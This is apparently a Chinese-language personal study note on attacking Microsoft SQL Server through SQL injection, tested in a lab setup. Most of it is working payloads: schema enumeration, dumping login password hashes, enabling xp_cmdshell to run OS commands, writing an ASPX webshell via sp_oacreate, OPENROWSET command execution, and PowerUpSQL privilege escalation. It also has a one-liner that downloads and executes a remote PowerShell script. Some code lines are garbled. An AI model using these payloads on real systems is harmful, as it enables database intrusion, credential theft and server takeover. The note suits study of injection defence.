本文主要整理MSSQL注入,使用Ph0rse环境
MSSQL安装
MSSQL安装
选择默认实例
选择混合模式并输入密码
MSSQL身份验证方式
MSSQL自带数据库
MSSQL自带四个系统库,分别存储一些特殊信息,对于前期注入而言,尤其要掌握tempdb
tempdb数据库是一个非常特殊的数据库,供所有来访问你的MSSQL的用户使用。这个库用来保存所有的临时表、存储过程和其他MSSQL建立的临时用的东西。例如,排序时要用到tempdb数据库。数据库放进tempdb数据库,排序完后再把结果返回给用户。每次MSSQL重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永远保存的表。
MSSQL注入
信息探测
初步判断是否为mssql
1 | and user>0 |
判断数据库
1 | and (select count(*) from sysobjects)>0 |
1 | and (select count(*) from mysysobjects)>0 |
1 | @@version #查看版本 |
1 | 1' union select 1,2,@@version-- |
1 | select * from user where id=1 and @@version like '%14%' ; #探测版本,版本正确,执行成功 |
1 | Ph0rse1' and @@version like '%14%' --+ |
1 | Ph0rse1' and @@version like '%15%' --+ #版本错误执行未成功 |
1 | select name,loginame from master..syslogins,master..sysprocesses |
1 | user, system_user, suser_sname(), is_srvrolemember('sysadmin'),is_srvrolemember('public') |
1 | @@servername |
1 | 1' and ((select host_name())=(select @@servername))-- |
1 | select name from master..sysdatabases #查询数据库名字 |
1 | select DB_NAME(i) 查询数据库名字 i代表第几个数据库 |
1 | exec sp_helpdb master; #定位数据库文件 location of master.mdf |
暴数据表
sysobject是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,而XTYPE代表对象的类型。
U 表(用户定义类型)
V 视图
P 存储过程
X 扩展存储过程
1 | union select name from master..sysobjects where xtype='U' |
1 | and select substring(table_name,1,1) from information_schema.tables > 'A' |
1 | and 1=(select top 1 table_name from information_schema.tables) |
1 | and 1=(select top 1 table_name from information_schema.tables where table_name not in (select top 1 table_name from information_schema.tables)) |
爆数据
1 | union select name from master..syscolumns where id=(select id from master..syscolumns where name='tablename') |
1 | and select substring(column_name,1,1) from information_schema.columns > 'A' |
1 | and 1=(select top 1 column_name from information_schema.columns) |
1 | and 1=(select top 1 column_name from information_schema.columns where column_name not in (select top 1 column_name from information_schema.columns)) |
1 | select table_name %2b','from information_schema.tables for xml path('') |
1 | and 1=0;begin |
获取用户账号和hash
1 | select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins |
权限探测
1.多语句注入
mysql条件比较苛刻,而msqql没那么苛刻
1 | Ph0rse1' ;exec xp_cmdshell 'whoami > c:\tmp\1.txt' --+ |
执行xp_cmdshell之前需判断是否开启xp_cmdshell存储过程
1 | 从MSSQL2005版本之后默认关闭 |
xp_cmdshell开启语句
1 | exec sp_configure 'show advanced options' ,1 ; |
1 | Ph0rse1' ; exec sp_configure 'show advanced options' ,1 ; reconfigure; exec sp_configure 'xp_cmdshell' ,1 ; reconfigure;--+ |
在开启xp_cmdshell情况下执行whoami > c:\tmp\1.txt
命令后查看1.txt文件如下
2.tmp临时表
1 | create table #MyTempTable (cola int primary key) |
从写文件到getshell
转存入表
1 | create table mydata (line varchar(8000)); |
16进制转换绕过
首先创建数据库
1 | begin |
创建成功,可查询
如下数据转换为16进制,注意空格数据,有时候需要自己加空格的16进制内容
1 | ' and 1=0; declare @S varchar(4000) set @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); exec (@S); |
####绕过引号
select * from users where username=char(97)+char(100)+char(109)+char(105)+char(110)
文件操作
xp_cmdshell 执行系统命名写入文件
whoami
查看MSSQL权限,若MSSQL以WIndows身份验证的方式运行,则获取的权限为启动身份。若为sa账号,则使用的是nt service\mssqlserver
服务权限,但这并不是系统的一个用户,而只是一个服务。它们在Windows中有安全标识符(SID),但并不是真正的用户
服务权限下无法添加用户
使MSSQL以WIndows身份验证的方式运行,找到MSSQL服务
勾选如下选项
以管理员身份重启后如下
可执行用户添加命令
dbowner权限下进行扩展攻击利用
先做一次数据库备份,如下
1 | ;alter database news set RECOVERY FULL -- |
上述代码执行后查看test.txt文件如下,实际场景利用为写入恶意文件
sp_oacreate下权利用限
启用sp_oacreate组件
1 | sp_configure 'show advanced options',1; |
1 | sp_configure 'Ole Automation Procedures',1; |
执行如下代码写入webshell
1 | ;DECLARE 8000), int, INT, INT varbinary( |
webshell写入成功
蚁剑连接成功,需要注意此处使用http://172.16.237.156/muma.apsx
未成功,查看链接地址为``http://172.16.237.156/muma`可以访问,同时链接成功,实际为省略aspx后缀
OPENROWEST绕过Web限制
无法直接连接远程数据库,并无法使用多语句注入时,就需要再Web端,执行xp_cmdshell之类命令。但由于语法限制,DML语句中无法直接调用DCL语句。因此,这时就需要使用OPENROWEST来绕过限制。
OPENROWEST包含访问OLE DB数据源中的远程数据所需所有连接信息,并可以在查询的from子句中引用,就好像它是一个表名。
环境比较难搭建,暂时附上参考链接,后续有需要再搭建环境测试
https://www.moonsec.com/archives/125
也可以使用如下代码执行xp_cmdshell
1 | select * from openrowset ('sqloledb','数据库地址';'数据库用户名';'数据库密码','set fmtonly off execute master..xp_cmdshell "dir"'); |
###其他存储过程使用
system权限
xp_regwite 操作注册表
sp_makewebtask 写入一句话木马
sp_oacreate 存储远程下载文件
sp_addlogin 扩展管理数据库用户
MSSQL注入参考
http://blog.sina.com.cn/s/blog_c71409200101fb3u.html
https://www.cnblogs.com/vigarbuaa/p/3371500.html
https://blog.csdn.net/weixin_34319999/article/details/92479895
https://www.anquanke.com/post/id/156911?from=groupmessage
PowerUpSQL使用
设置允许外部脚本
set-executionpolicy remotesigned
安装方式一 安装模块
install-module -name powerupsql
安装方式二 下载github项目文件 移动到相关路径 执行以下命令
import-module powerupsql.psd1
安装方式三 导入函数
IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
安装方式四 CS加载
查看信息
1 | Get-SQLInstanceLocal -Verbose |
连接数据库
1 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password 123.com | Where-Object {$_.Status -like "Accessible"} |
升级为sa权限
1 | Invoke-SQLEscalatePriv -Verbose -Instance XUANJIANWEAPO |
把整个数据库扒下来后审计
1 | Invoke-SQLDumpInfo -Verbose -Instance XUANJIANWEAPO |
执行系统命令
1 | $Targets | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10 |
其他使用方式
登录session:$Target
提权命令:Invoke-SQLmpersonateServ
、Invoke-SQLAudit
、Invoke-SQLEscalatePriv
执行系统命令:Invoke-SQLOSCmd、
Invoke-SQLOSPython`
内网探测:Get-SQLInstanceBroadcast
、Get-SQLInstanceScanUDPThreaded
、Get-SQLInstanceFile
PowerUpSQL使用参考
https://github.com/NetSPI/PowerUpSQL/
https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet